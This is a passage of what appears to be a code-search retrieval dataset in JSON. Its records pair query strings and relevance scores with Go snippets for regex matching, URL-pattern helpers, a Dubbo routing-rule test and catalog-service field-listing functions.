v)\n\t}\n\tif percentage < 0 || percentage > 100 {\n\t\treturn 0, fmt.Errorf(\"percentage must be between 0 and 100\")\n\t}\n\treturn percentage, nil\n}", "title": "" }, { "docid": "26bb7a398d387674798b42fb771f454b", "score": "0.4449683", "text": "func isMatch(s string, p string) bool {\n\tlp := len(p)\n\tls := len(s)\n\n\tif lp == 0 {\n\t\t// end of pattern & string reached\n\t\treturn ls == 0\n\t}\n\n\tif ls == 0 {\n\t\t// string end reached\n\t\tif lp > 1 && p[1] == '*' {\n\t\t\t// we have * - try to match in \"zero chars matched\" mode\n\t\t\treturn isMatch(s, p[2:])\n\t\t}\n\n\t\treturn false\n\t}\n\n\tif p[0] != '.' && s[0] != p[0] {\n\t\t// no matches\n\t\tif lp > 1 && p[1] == '*' {\n\t\t\t// we have * - try to match in \"zero chars matched\" mode\n\t\t\treturn isMatch(s, p[2:])\n\t\t}\n\n\t\treturn false\n\t}\n\n\tif lp > 1 && p[1] == '*' {\n\t\t// try to match next char or in \"zero chars matched\" mode\n\t\treturn isMatch(s[1:], p) || isMatch(s, p[2:])\n\t}\n\n\t// chars matched, go on with next symbols in string and pattern\n\treturn isMatch(s[1:], p[1:])\n}", "title": "" }, { "docid": "c2ec7d5fba7ac9a9b65b7a5d623d17ce", "score": "0.44471347", "text": "func doublePercent(str string) string {\n\tif strings.Contains(str, \"%\") {\n\t\tstr = strings.Replace(str, \"%\", \"%%\", -1)\n\t}\n\treturn str\n}", "title": "" }, { "docid": "897cd9f368268ca59d2ee914cc2ae677", "score": "0.4445853", "text": "func ParamRegex(name, pattern string) *RegexParam {\n\treturn &RegexParam{name, pattern}\n}", "title": "" }, { "docid": "c03b2ea75eda865b3c7602b4bd9d916f", "score": "0.44435737", "text": "func EndpointRegex(r *http.Request) (string, string) {\n\tvetPath := strings.Split(r.URL.Path, \"/\")\n\tlastpos := len(vetPath) - 1\n\tnameregex := vetPath[lastpos]\n\tendpoint := \"\"\n\tfor _, v := range vetPath {\n\t\tif v != nameregex {\n\t\t\tendpoint += \"/\" + v\n\t\t}\n\t}\n\t// endpoint\n\tendpoint = \"/\" + strings.Trim(endpoint, \"/\")\n\treturn endpoint, nameregex\n}", "title": "" }, { "docid": "d2b0514e7af1169b3e054301b25f9dfe", "score": "0.44426733", "text": "func hostURLPatterns() []string {\n\treturn []string{\n\t\t\"https://%s\",\n\t\t\"https://user@%s\",\n\t\t\"https://%s/hello\",\n\t\t\"https://user@%s/hello\",\n\t\t\"https://%s?boo=bla\",\n\t\t\"https://user@%s?boo=bla\",\n\t\t\"https://%s/hello?boo=bla\",\n\t\t\"https://user@%s/hello?boo=bla\",\n\t}\n}", "title": "" }, { "docid": "d31cf8e2b7e7a2365ab19f5ab4a32921", "score": "0.4438967", "text": "func Match(i interface{}, args ...interface{}) error {\n\ts, ok := i.(string)\n\tif !ok {\n\t\treturn errors.Wrap(ErrIncompatibleFieldType, \"match requires a string value\")\n\t}\n\n\tif len(args) != 1 {\n\t\treturn errors.Wrap(ErrInvalidParamType, \"match expects a *regexp.Regexp argument\")\n\t}\n\n\tr, ok := args[0].(*regexp.Regexp)\n\tif !ok {\n\t\treturn errors.Wrap(ErrInvalidParamType, \"match expects a *regexp.Regexp argument\")\n\t}\n\n\tif !r.MatchString(s) {\n\t\treturn fmt.Errorf(\"%v does not match %s\", i, r.String())\n\t}\n\n\treturn nil\n}", "title": "" }, { "docid": "1766d5a2a438c6f83c0040b34aaf13e4", "score": "0.44365633", "text": "func Match(pattern string, s string) (matched bool, err error) {\n\treturn regexp.MatchString(pattern, s)\n}", "title": "" }, { "docid": "465c96946754aefb314481fb339f778e", "score": "0.44288266", "text": "func TestRouteMatchFilter(t *testing.T) {\n\n\tconsumerURL, _ := common.NewURL(localConsumerAddr)\n\turl1, _ := common.NewURL(remoteProviderAddr + \"?serialization=fastjson\")\n\turl2, _ := common.NewURL(localProviderAddr)\n\turl3, _ := common.NewURL(localProviderAddr)\n\n\trpcInvocation := invocation.NewRPCInvocation(method, nil, nil)\n\n\tink1 := protocol.NewBaseInvoker(url1)\n\tink2 := protocol.NewBaseInvoker(url2)\n\tink3 := protocol.NewBaseInvoker(url3)\n\n\tinvokerList := make([]protocol.Invoker, 0, 3)\n\tinvokerList = append(invokerList, ink1)\n\tinvokerList = append(invokerList, ink2)\n\tinvokerList = append(invokerList, ink3)\n\n\ttestData := []struct {\n\t\tname string\n\t\tcomsumerURL *common.URL\n\t\trule string\n\n\t\twantVal int\n\t}{\n\t\t{\n\t\t\tname: \"host = 127.0.0.1 => host = dubbo.apache.org\",\n\t\t\tcomsumerURL: consumerURL,\n\t\t\trule: \"host = 127.0.0.1 => host = dubbo.apache.org\",\n\n\t\t\twantVal: 1,\n\t\t},\n\t\t{\n\t\t\tname: \"host = 127.0.0.1 => host = 10.20.3.* & host != dubbo.apache.org\",\n\t\t\tcomsumerURL: consumerURL,\n\t\t\trule: \"host = 127.0.0.1 => host = 10.20.3.* & host != dubbo.apache.org\",\n\n\t\t\twantVal: 0,\n\t\t},\n\t\t{\n\t\t\tname: \"host = 127.0.0.1 => host = dubbo.apache.org & host != dubbo.apache.org\",\n\t\t\tcomsumerURL: consumerURL,\n\t\t\trule: \"host = 127.0.0.1 => host = dubbo.apache.org & host != dubbo.apache.org\",\n\n\t\t\twantVal: 0,\n\t\t},\n\t\t{\n\t\t\tname: \"host = 127.0.0.1 => host = 10.20.3.2,dubbo.apache.org,10.20.3.4\",\n\t\t\tcomsumerURL: consumerURL,\n\t\t\trule: \"host = 127.0.0.1 => host = 10.20.3.2,dubbo.apache.org,10.20.3.4\",\n\n\t\t\twantVal: 1,\n\t\t},\n\t\t{\n\t\t\tname: \"host = 127.0.0.1 => host != dubbo.apache.org\",\n\t\t\tcomsumerURL: consumerURL,\n\t\t\trule: \"host = 127.0.0.1 => host != dubbo.apache.org\",\n\n\t\t\twantVal: 2,\n\t\t},\n\t\t{\n\t\t\tname: \"host = 127.0.0.1 => serialization = fastjson\",\n\t\t\tcomsumerURL: consumerURL,\n\t\t\trule: \"host = 127.0.0.1 => serialization = fastjson\",\n\n\t\t\twantVal: 1,\n\t\t},\n\t}\n\n\tfor _, data := range testData {\n\t\tt.Run(data.name, func(t *testing.T) {\n\t\t\turl, err := common.NewURL(conditionAddr)\n\t\t\tassert.Nil(t, err)\n\t\t\turl.AddParam(constant.RuleKey, data.rule)\n\t\t\turl.AddParam(constant.ForceKey, \"true\")\n\n\t\t\trouter, err := NewConditionStateRouter(url)\n\t\t\tassert.Nil(t, err)\n\n\t\t\tfilteredInvokers := router.Route(invokerList, data.comsumerURL, rpcInvocation)\n\t\t\tresVal := len(filteredInvokers)\n\t\t\tassert.Equal(t, data.wantVal, resVal)\n\t\t})\n\t}\n}", "title": "" } ]
25368eef9afdb8cd88169e635fc82ef3
ListFieldsForDataset Returns the list of fields in the specified dataset.
[ { "docid": "8398fc3035236eb540fc43bd3a16805c", "score": "0.71517885", "text": "func ListFieldsForDataset(cmd *cobra.Command, args []string) error {\n\n\tclient, err := auth.GetClient()\n\tif err != nil {\n\t\treturn err\n\t}\n\t// Parse all flags\n\n\tvar countDefault int32\n\tcount := &countDefault\n\terr = flags.ParseFlag(cmd.Flags(), \"count\", &count)\n\tif err != nil {\n\t\treturn fmt.Errorf(`error parsing \"count\": ` + err.Error())\n\t}\n\tvar datasetresourcename string\n\terr = flags.ParseFlag(cmd.Flags(), \"datasetresourcename\", &datasetresourcename)\n\tif err != nil {\n\t\treturn fmt.Errorf(`error parsing \"datasetresourcename\": ` + err.Error())\n\t}\n\tvar filter string\n\terr = flags.ParseFlag(cmd.Flags(), \"filter\", &filter)\n\tif err != nil {\n\t\treturn fmt.Errorf(`error parsing \"filter\": ` + err.Error())\n\t}\n\tvar offsetDefault int32\n\toffset := &offsetDefault\n\terr = flags.ParseFlag(cmd.Flags(), \"offset\", &offset)\n\tif err != nil {\n\t\treturn fmt.Errorf(`error parsing \"offset\": ` + err.Error())\n\t}\n\tvar orderby []string\n\terr = flags.ParseFlag(cmd.Flags(), \"orderby\", &orderby)\n\tif err != nil {\n\t\treturn fmt.Errorf(`error parsing \"orderby\": ` + err.Error())\n\t}\n\t// Form query params\n\tgenerated_query := model.ListFieldsForDatasetQueryParams{}\n\tgenerated_query.Count = count\n\tgenerated_query.Filter = filter\n\tgenerated_query.Offset = offset\n\tgenerated_query.Orderby = orderby\n\n\t// Silence Usage\n\tcmd.SilenceUsage = true\n\n\tresp, err := client.CatalogService.ListFieldsForDataset(datasetresourcename, &generated_query)\n\tif err != nil {\n\t\treturn err\n\t}\n\tjsonx.Pprint(cmd, resp)\n\treturn nil\n}", "title": "" } ]
[ { "docid": "0c791004d1a092d464a716d4e3deb6bd", "score": "0.81010574", "text": "func (s *Service) ListFieldsForDataset(datasetresourcename string, query *ListFieldsForDatasetQueryParams, resp ...*http.Response) ([]Field, error) {\n\tvalues := util.ParseURLParams(query)\n\tpp := struct {\n\t\tDatasetresourcename string\n\t}{\n\t\tDatasetresourcename: datasetresourcename,\n\t}\n\tu, err := s.Client.BuildURLFromPathParams(values, serviceCluster, `/catalog/v2beta1/datasets/{{.Datasetresourcename}}/fields`, pp)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tresponse, err := s.Client.Get(services.RequestParams{URL: u})\n\tif response != nil {\n\t\tdefer response.Body.Close()\n\n\t\t// populate input *http.Response if provided\n\t\tif len(resp) > 0 && resp[0] != nil {\n\t\t\t*resp[0] = *response\n\t\t}\n\t}\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tvar rb []Field\n\terr = util.ParseResponse(&rb, response)\n\treturn rb, err\n}", "title": "" }, { "docid": "237c5ae8bb66712f79f30a7e8df9ace9", "score": "0.7268469", "text": "func ListFieldsForDataset(cmd *cobra.Command, args []string) error {\n\n\tclient, err := auth.GetClient()\n\tif err != nil {\n\t\treturn err\n\t}\n\t// Parse all flags\n\n\tvar countDefault int32\n\tcount := &countDefault\n\terr = flags.ParseFlag(cmd.Flags(), \"count\", &count)\n\tif err != nil {\n\t\treturn fmt.Errorf(`error parsing \"count\": ` + err.Error())\n\t}\n\tvar datasetresource string\n\terr = flags.ParseFlag(cmd.Flags(), \"datasetresource\", &datasetresource)\n\tif err != nil {\n\t\treturn fmt.Errorf(`error parsing \"datasetresource\": ` + err.Error())\n\t}\n\tvar filter string\n\terr = flags.ParseFlag(cmd.Flags(), \"filter\", &filter)\n\tif err != nil {\n\t\treturn fmt.Errorf(`error parsing \"filter\": ` + err.Error())\n\t}\n\tvar offsetDefault int32\n\toffset := &offsetDefault\n\terr = flags.ParseFlag(cmd.Flags(), \"offset\", &offset)\n\tif err != nil {\n\t\treturn fmt.Errorf(`error parsing \"offset\": ` + err.Error())\n\t}\n\tvar orderby []string\n\terr = flags.ParseFlag(cmd.Flags(), \"orderby\", &orderby)\n\tif err != nil {\n\t\treturn fmt.Errorf(`error parsing \"orderby\": ` + err.Error())\n\t}\n\t// Form query params\n\tgenerated_query := model.ListFieldsForDatasetQueryParams{}\n\tgenerated_query.Count = count\n\tgenerated_query.Filter = filter\n\tgenerated_query.Offset = offset\n\tgenerated_query.Orderby = orderby\n\n\t// Silence Usage\n\tcmd.SilenceUsage = true\n\n\tresp, err := client.CatalogService.ListFieldsForDataset(datasetresource, &generated_query)\n\tif err != nil {\n\t\treturn err\n\t}\n\tjsonx.Pprint(cmd, resp)\n\treturn nil\n}", "title": "" }, { "docid": "1ad398ec7eff12c6bdfa1847b583098e", "score": "0.72017336", "text": "func (s *Service) ListFieldsForDatasetById(datasetid string, query *ListFieldsForDatasetByIdQueryParams, resp ...*http.Response) ([]Field, error) {\n\tvalues := util.ParseURLParams(query)\n\tpp := struct {\n\t\tDatasetid string\n\t}{\n\t\tDatasetid: datasetid,\n\t}\n\tu, err := s.Client.BuildURLFromPathParams(values, serviceCluster, `/catalog/v2beta1/datasets/{{.Datasetid}}/fields`, pp)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tresponse, err := s.Client.Get(services.RequestParams{URL: u})\n\tif response != nil {\n\t\tdefer response.Body.Close()\n\n\t\t// populate input *http.Response if provided\n\t\tif len(resp) > 0 && resp[0] != nil {\n\t\t\t*resp[0] = *response\n\t\t}\n\t}\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tvar rb []Field\n\terr = util.ParseResponse(&rb, response)\n\treturn rb, err\n}", "title": "" }, { "docid": "e277677073db76aa8b7aa15cf63f320f", "score": "0.64880365", "text": "func ListFieldsForDatasetById(cmd *cobra.Command, args []string) error {\n\n\tclient, err := auth.GetClient()\n\tif err != nil {\n\t\treturn err\n\t}\n\t// Parse all flags\n\n\tvar countDefault int32\n\tcount := &countDefault\n\terr = flags.ParseFlag(cmd.Flags(), \"count\", &count)\n\tif err != nil {\n\t\treturn fmt.Errorf(`error parsing \"count\": ` + err.Error())\n\t}\n\tvar datasetid string\n\terr = flags.ParseFlag(cmd.Flags(), \"datasetid\", &datasetid)\n\tif err != nil {\n\t\treturn fmt.Errorf(`error parsing \"datasetid\": ` + err.Error())\n\t}\n\tvar filter string\n\terr = flags.ParseFlag(cmd.Flags(), \"filter\", &filter)\n\tif err != nil {\n\t\treturn fmt.Errorf(`error parsing \"filter\": ` + err.Error())\n\t}\n\tvar offsetDefault int32\n\toffset := &offsetDefault\n\terr = flags.ParseFlag(cmd.Flags(), \"offset\", &offset)\n\tif err != nil {\n\t\treturn fmt.Errorf(`error parsing \"offset\": ` + err.Error())\n\t}\n\tvar orderby []string\n\terr = flags.ParseFlag(cmd.Flags(), \"orderby\", &orderby)\n\tif err != nil {\n\t\treturn fmt.Errorf(`error parsing \"orderby\": ` + err.Error())\n\t}\n\t// Form query params\n\tgenerated_query := model.ListFieldsForDatasetByIdQueryParams{}\n\tgenerated_query.Count = count\n\tgenerated_query.Filter = filter\n\tgenerated_query.Offset = offset\n\tgenerated_query.Orderby = orderby\n\n\t// Silence Usage\n\tcmd.SilenceUsage = true\n\n\tresp, err := client.CatalogService.ListFieldsForDatasetById(datasetid, &generated_query)\n\tif err != nil {\n\t\treturn err\n\t}\n\tjsonx.Pprint(cmd, resp)\n\treturn nil\n}", "title": "" }, { "docid": "05fe0c0cdb62fe840eb9b39ebed5f362", "score": "0.6473654", "text": "func (fs *FieldSet) List() []Field {\n\treturn fs.fields\n}", "title": "" }, { "docid": "db6eb62c45807d65b76beaf92da1e476", "score": "0.6305529", "text": "func (s *Service) ListFields(query *ListFieldsQueryParams, resp ...*http.Response) ([]Field, error) {\n\tvalues := util.ParseURLParams(query)\n\tu, err := s.Client.BuildURLFromPathParams(values, serviceCluster, `/catalog/v2beta1/fields`, nil)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tresponse, err := s.Client.Get(services.RequestParams{URL: u})\n\tif response != nil {\n\t\tdefer response.Body.Close()\n\n\t\t// populate input *http.Response if provided\n\t\tif len(resp) > 0 && resp[0] != nil {\n\t\t\t*resp[0] = *response\n\t\t}\n\t}\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tvar rb []Field\n\terr = util.ParseResponse(&rb, response)\n\treturn rb, err\n}", "title": "" }, { "docid": "3195248ea401f757954dd0b3572485d5", "score": "0.61652917", "text": "func (c *Client) ListSearchableFields(ctx context.Context, request ListSearchableFieldsRequest) (result ListSearchableFieldsResponse, err error) {\n\tif c.InstrumentCtxFunc != nil {\n\t\tctx = c.InstrumentCtxFunc(ctx, http.MethodGet, \"/{dataset}/{version}/fields\", &request)\n\t}\n\n\tif c.Timeout != 0 {\n\t\tvar cancel func()\n\t\tctx, cancel = context.WithTimeout(ctx, c.Timeout)\n\n\t\tdefer cancel()\n\t}\n\n\treq, err := request.encode(ctx, c.BaseURL)\n\tif err != nil {\n\t\treturn result, err\n\t}\n\n\tresp, err := c.transport.RoundTrip(req)\n\n\tif err != nil {\n\t\treturn result, err\n\t}\n\n\tdefer func() {\n\t\tcloseErr := resp.Body.Close()\n\t\tif closeErr != nil && err == nil {\n\t\t\terr = closeErr\n\t\t}\n\t}()\n\n\terr = result.decode(resp)\n\n\treturn result, err\n}", "title": "" }, { "docid": "ba6a6b8bedde73ff213e1525f386b119", "score": "0.60240424", "text": "func (ps *PageService) ListFields() ([]string, error) {\n\tfl, err := ps.client.getEndpointFieldList(PageEndpoint)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn fl, nil\n}", "title": "" }, { "docid": "86577ee67d2ed832c9dc2285ab0ded52", "score": "0.58384967", "text": "func (m *MarcRecord) GetFieldList() []string {\n\tkeys := make([]string, len(m.Directory))\n\ti := 0\n\tfor k, _ := range m.Directory {\n\t\tkeys[i] = k\n\t\ti++\n\t}\n\tsort.Strings(keys)\n\treturn keys\n}", "title": "" }, { "docid": "91ff8200baf27ffe34b5cbd1fadbd4af", "score": "0.57867026", "text": "func (discovery *DiscoveryV1) ListFields(listFieldsOptions *ListFieldsOptions) (result *ListCollectionFieldsResponse, response *core.DetailedResponse, err error) {\n\treturn discovery.ListFieldsWithContext(context.Background(), listFieldsOptions)\n}", "title": "" }, { "docid": "2c41e071ee1db33e5fc54dbf7dfd24af", "score": "0.5755927", "text": "func (lis ListAttribute) Fields() []string {\n\treturn strings.Fields(lis.Text())\n}", "title": "" }, { "docid": "3145a17c6770eee898d1de7ac0ed4374", "score": "0.56937623", "text": "func (s *session) FieldList(tableName string) ([]*ast.ResultField, error) {\n\ttrace_util_0.Count(_session_00000, 44)\n\tis := executor.GetInfoSchema(s)\n\tdbName := model.NewCIStr(s.GetSessionVars().CurrentDB)\n\ttName := model.NewCIStr(tableName)\n\ttable, err := is.TableByName(dbName, tName)\n\tif err != nil {\n\t\ttrace_util_0.Count(_session_00000, 47)\n\t\treturn nil, err\n\t}\n\n\ttrace_util_0.Count(_session_00000, 45)\n\tcols := table.Cols()\n\tfields := make([]*ast.ResultField, 0, len(cols))\n\tfor _, col := range table.Cols() {\n\t\ttrace_util_0.Count(_session_00000, 48)\n\t\trf := &ast.ResultField{\n\t\t\tColumnAsName: col.Name,\n\t\t\tTableAsName: tName,\n\t\t\tDBName: dbName,\n\t\t\tTable: table.Meta(),\n\t\t\tColumn: col.ColumnInfo,\n\t\t}\n\t\tfields = append(fields, rf)\n\t}\n\ttrace_util_0.Count(_session_00000, 46)\n\treturn fields, nil\n}", "title": "" }, { "docid": "5e1c184963210e2200eafc4883d8e064", "score": "0.56076384", "text": "func (pss *PulseSourceService) ListFields() ([]string, error) {\n\tfl, err := pss.client.getEndpointFieldList(PulseSourceEndpoint)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn fl, nil\n}", "title": "" }, { "docid": "2b93907d4157da20ad54efefce570e1a", "score": "0.5577001", "text": "func (q *selectQuery) fieldsList() string {\n\tif len(q.fields) == 0 {\n\t\treturn q.aliasPrefix() + `*`\n\t}\n\treturn prefixJoin(q.aliasPrefix(), q.fields, `,`)\n}", "title": "" }, { "docid": "79110b87e2e51be557820728da295ddb", "score": "0.5529578", "text": "func (mapper PersonStructMapper) FieldList() []qb.Clause {\n\treturn []qb.Clause{\n\t\tpersonStructTable.C(PersonStructActiveColumnName),\n\t\tpersonStructTable.C(PersonStructFirstNameColumnName),\n\t\tpersonStructTable.C(PersonStructLastNameColumnName),\n\t\tpersonStructTable.C(PersonStructGenderColumnName),\n\t\tpersonStructTable.C(BaseStructIDColumnName),\n\t\tpersonStructTable.C(BaseStructCreatedAtColumnName),\n\t\tpersonStructTable.C(BaseStructUpdatedAtColumnName),\n\t}\n}", "title": "" }, { "docid": "547f70c690a5d23505757f7671b131ce", "score": "0.55044025", "text": "func (f *FieldSlice) Fields() []*Field {\n\treturn f.fds\n}", "title": "" }, { "docid": "1ddd71af00f2723fab752653932c8083", "score": "0.5496192", "text": "func (mapper SimpleStructMapper) FieldList() []qb.Clause {\n\treturn []qb.Clause{\n\t\tsimpleStructTable.C(SimpleStructIDColumnName),\n\t\tsimpleStructTable.C(SimpleStructNameColumnName),\n\t}\n}", "title": "" }, { "docid": "363e2104e11a53495589696bc49736e2", "score": "0.5477588", "text": "func GetFields(ctx context.Context, allowed ...string) []string {\n\tvar fieldContext = graphql.GetFieldContext(ctx)\n\tvar fields []string\n\tfor _, selection := range fieldContext.Field.SelectionSet {\n\t\tfield, ok := selection.(*ast.Field)\n\t\tif ok {\n\t\t\tfor _, allow := range allowed {\n\t\t\t\tif field.Name == allow {\n\t\t\t\t\tfields = append(fields, common.ToSnakeCase(field.Name))\n\t\t\t\t\tbreak\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\treturn fields\n}", "title": "" }, { "docid": "38135eaff93fbd19d3e4ee32d5403aed", "score": "0.5456193", "text": "func FieldListSlice(l *ast.FieldList) []*ast.Field {\n\tif l == nil || l.List == nil {\n\t\treturn []*ast.Field{}\n\t}\n\treturn l.List\n}", "title": "" }, { "docid": "eceeade11893186a53639b88f645e6f3", "score": "0.5360329", "text": "func ListFields(cmd *cobra.Command, args []string) error {\n\n\tclient, err := auth.GetClient()\n\tif err != nil {\n\t\treturn err\n\t}\n\t// Parse all flags\n\n\tvar countDefault int32\n\tcount := &countDefault\n\terr = flags.ParseFlag(cmd.Flags(), \"count\", &count)\n\tif err != nil {\n\t\treturn fmt.Errorf(`error parsing \"count\": ` + err.Error())\n\t}\n\tvar filter string\n\terr = flags.ParseFlag(cmd.Flags(), \"filter\", &filter)\n\tif err != nil {\n\t\treturn fmt.Errorf(`error parsing \"filter\": ` + err.Error())\n\t}\n\tvar offsetDefault int32\n\toffset := &offsetDefault\n\terr = flags.ParseFlag(cmd.Flags(), \"offset\", &offset)\n\tif err != nil {\n\t\treturn fmt.Errorf(`error parsing \"offset\": ` + err.Error())\n\t}\n\tvar orderby []string\n\terr = flags.ParseFlag(cmd.Flags(), \"orderby\", &orderby)\n\tif err != nil {\n\t\treturn fmt.Errorf(`error parsing \"orderby\": ` + err.Error())\n\t}\n\t// Form query params\n\tgenerated_query := model.ListFieldsQueryParams{}\n\tgenerated_query.Count = count\n\tgenerated_query.Filter = filter\n\tgenerated_query.Offset = offset\n\tgenerated_query.Orderby = orderby\n\n\t// Silence Usage\n\tcmd.SilenceUsage = true\n\n\tresp, err := client.CatalogService.ListFields(&generated_query)\n\tif err != nil {\n\t\treturn err\n\t}\n\tjsonx.Pprint(cmd, resp)\n\treturn nil\n}", "title": "" }, { "docid": "eceeade11893186a53639b88f645e6f3", "score": "0.5360329", "text": "func ListFields(cmd *cobra.Command, args []string) error {\n\n\tclient, err := auth.GetClient()\n\tif err != nil {\n\t\treturn err\n\t}\n\t// Parse all flags\n\n\tvar countDefault int32\n\tcount := &countDefault\n\terr = flags.ParseFlag(cmd.Flags(), \"count\", &count)\n\tif err != nil {\n\t\treturn fmt.Errorf(`error parsing \"count\": ` + err.Error())\n\t}\n\tvar filter string\n\terr = flags.ParseFlag(cmd.Flags(), \"filter\", &filter)\n\tif err != nil {\n\t\treturn fmt.Errorf(`error parsing \"filter\": ` + err.Error())\n\t}\n\tvar offsetDefault int32\n\toffset := &offsetDefault\n\terr = flags.ParseFlag(cmd.Flags(), \"offset\", &offset)\n\tif err != nil {\n\t\treturn fmt.Errorf(`error parsing \"offset\": ` + err.Error())\n\t}\n\tvar orderby []string\n\terr = flags.ParseFlag(cmd.Flags(), \"orderby\", &orderby)\n\tif err != nil {\n\t\treturn fmt.Errorf(`error parsing \"orderby\": ` + err.Error())\n\t}\n\t// Form query params\n\tgenerated_query := model.ListFieldsQueryParams{}\n\tgenerated_query.Count = count\n\tgenerated_query.Filter = filter\n\tgenerated_query.Offset = offset\n\tgenerated_query.Orderby = orderby\n\n\t// Silence Usage\n\tcmd.SilenceUsage = true\n\n\tresp, err := client.CatalogService.ListFields(&generated_query)\n\tif err != nil {\n\t\treturn err\n\t}\n\tjsonx.Pprint(cmd, resp)\n\treturn nil\n}", "title": "" }, { "docid": "de79049ab0e562eda3ca2220b8a37403", "score": "0.5322544", "text": "func (lm *SelectMapper) Fields() []string {\n\tif lm.remote != nil {\n\t\treturn lm.remote.Fields()\n\t}\n\treturn append(lm.selectFields, lm.selectTags...)\n}", "title": "" }, { "docid": "13202c2eef8b0b909f86e25ddd207b35", "score": "0.53184986", "text": "func (dt *DbfTable) Fields() []DbfField {\n\treturn dt.fields\n}", "title": "" }, { "docid": "f49e84683c68eadc703519be9ac55ef0", "score": "0.5309573", "text": "func GetAllFields(obj interface{}, skipFields []string, quoted bool, asNamedParameter bool) (fieldList string, err error) {\n\n\tcheckType := reflect.TypeOf(obj)\n\n\t// obj must be struct or pointer to struct\n\tif checkType.Kind() != reflect.Ptr && checkType.Kind() != reflect.Struct {\n\t\terr = fmt.Errorf(\"invalid obj type '%s'\", checkType.Kind().String())\n\t\treturn\n\t}\n\n\tvar objType reflect.Type\n\n\tif checkType.Kind() == reflect.Ptr {\n\t\tobjType = checkType.Elem()\n\t} else {\n\t\tobjType = checkType\n\t}\n\n\tbuf := new(bytes.Buffer)\n\n\t// loop through all fields\n\tfor i := 0; i < objType.NumField(); i++ {\n\t\tfieldInstance := objType.Field(i)\n\n\t\tif _, found := common.FindInStringArray(fieldInstance.Name, skipFields); !found {\n\n\t\t\tcolName := resolveColumnName(fieldInstance)\n\n\t\t\tif colName != \"-\" && colName != \"\" {\n\t\t\t\tif quoted {\n\t\t\t\t\tbuf.WriteString(\"`\" + colName + \"`\" + \",\")\n\t\t\t\t} else if asNamedParameter {\n\t\t\t\t\tbuf.WriteString(\":\" + colName + \",\")\n\t\t\t\t} else {\n\t\t\t\t\tbuf.WriteString(colName + \",\")\n\t\t\t\t}\n\t\t\t}\n\n\t\t}\n\t}\n\n\tfieldList = buf.String()\n\tfieldList = fieldList[:len(fieldList)-1]\n\n\treturn\n}", "title": "" }, { "docid": "b8f30fa148bd314630923f89ba55fccb", "score": "0.5296715", "text": "func (r *Record) FieldSlice() []interface{} {\n\treturn r.data\n}", "title": "" }, { "docid": "c35fa3c4cbbca3604627756eee2b1f6c", "score": "0.52830595", "text": "func (fcs FieldCapabilities) GetFields() []eval.Field {\n\tvar fields []eval.Field\n\tfor _, fc := range fcs {\n\t\tfields = append(fields, fc.Field)\n\t}\n\treturn fields\n}", "title": "" }, { "docid": "ee36aef17f8d31d4c8aed315a004eac5", "score": "0.52541214", "text": "func (fg *LDAPFieldGroup) Fields() []string {\n\treturn []string{\"LDAP_ADMIN_DN\", \"LDAP_ADMIN_PASSWD\", \"LDAP_ALLOW_INSECURE_FALLBACK\", \"LDAP_BASE_DN\", \"LDAP_EMAIL_ATTR\", \"LDAP_UID_ATTR\", \"LDAP_URI\", \"LDAP_USER_FILTER\", \"LDAP_USER_RDN\"}\n}", "title": "" }, { "docid": "99664c5a8f4f8dc23697cab629379ac0", "score": "0.5216211", "text": "func (fg *DistributedStorageFieldGroup) Fields() []string {\n\treturn []string{\"DISTRIBUTED_STORAGE_CONFIG\", \"DISTRIBUTED_STORAGE_PREFERENCE\", \"DISTRIBUTED_STORAGE_DEFAULT_LOCATIONS\", \"FEATURE_STORAGE_REPLICATION\"}\n}", "title": "" }, { "docid": "999ca6b0168facc11ef0e6c8305b5a7f", "score": "0.5207518", "text": "func Fields() []string {\n\tnames := []string{}\n\tfor name := range fields {\n\t\tnames = append(names, name)\n\t}\n\treturn names\n}", "title": "" }, { "docid": "27b8feb4a6cca81d10578193dac998cb", "score": "0.5187808", "text": "func (discovery *DiscoveryV1) ListCollectionFields(listCollectionFieldsOptions *ListCollectionFieldsOptions) (result *ListCollectionFieldsResponse, response *core.DetailedResponse, err error) {\n\treturn discovery.ListCollectionFieldsWithContext(context.Background(), listCollectionFieldsOptions)\n}", "title": "" }, { "docid": "df4c0d081ae77630689bca58de7700cf", "score": "0.51303166", "text": "func GetUsersFieldDatas(offset int, limit int, field string) (*[]*UsersFieldData, error) {\n\tvar _UsersFieldData = new([]*UsersFieldData)\n\terr := Engine.Table(\"users_field_data\").Limit(limit, offset).Desc(field).Find(_UsersFieldData)\n\treturn _UsersFieldData, err\n}", "title": "" }, { "docid": "1da55ef3e75bbca006a9fa5a129fabd0", "score": "0.5118704", "text": "func (dbf *DBF) Fields() []FieldHeader {\n\treturn dbf.fields\n}", "title": "" }, { "docid": "991ef6197b657ecf2705cd1a9259e427", "score": "0.5100563", "text": "func (r *Record) Fields() (fields []string) {\n\tr.mutex.Lock()\n\tfor k := range r.content {\n\t\tfields = append(fields, k)\n\t}\n\tr.mutex.Unlock()\n\n\tsort.Strings(fields)\n\treturn fields\n}", "title": "" }, { "docid": "13bfe683b063c3ed3fd78f2014e52e2e", "score": "0.5096715", "text": "func ListSearchableFields() {\n\tfmt.Println(listSearchableFields())\n}", "title": "" }, { "docid": "8534fcff14b0c8125250e2dbb972db17", "score": "0.50865966", "text": "func sliceOfFieldNames(val interface{} /*, opts Options*/) (fieldNames []string) {\n\tfields := structs.ListExportedFields(val, filterOutPK)\n\tfieldNames = []string{}\n\tfor _, field := range fields {\n\t\tfieldName, exported := fieldName(field)\n\t\tif exported {\n\t\t\tfieldNames = append(fieldNames, fieldName)\n\t\t}\n\t}\n\n\treturn fieldNames\n}", "title": "" }, { "docid": "c5b5c3c48ca9400afb40500fb83c22ee", "score": "0.504123", "text": "func (MedicalCare) Fields() []ent.Field {\n return []ent.Field{\n field.String(\"name\").NotEmpty(),\n }\n}", "title": "" }, { "docid": "6aa9b3e3b5a7ec8163ec03b6cc673815", "score": "0.502522", "text": "func (cs *CollectionService) Fields() ([]string, error) {\n\tf, err := cs.client.getFields(cs.end)\n\tif err != nil {\n\t\treturn nil, errors.Wrap(err, \"cannot get Collection fields\")\n\t}\n\n\treturn f, nil\n}", "title": "" }, { "docid": "64648e13f2346e9757a333fb4658e974", "score": "0.49747038", "text": "func 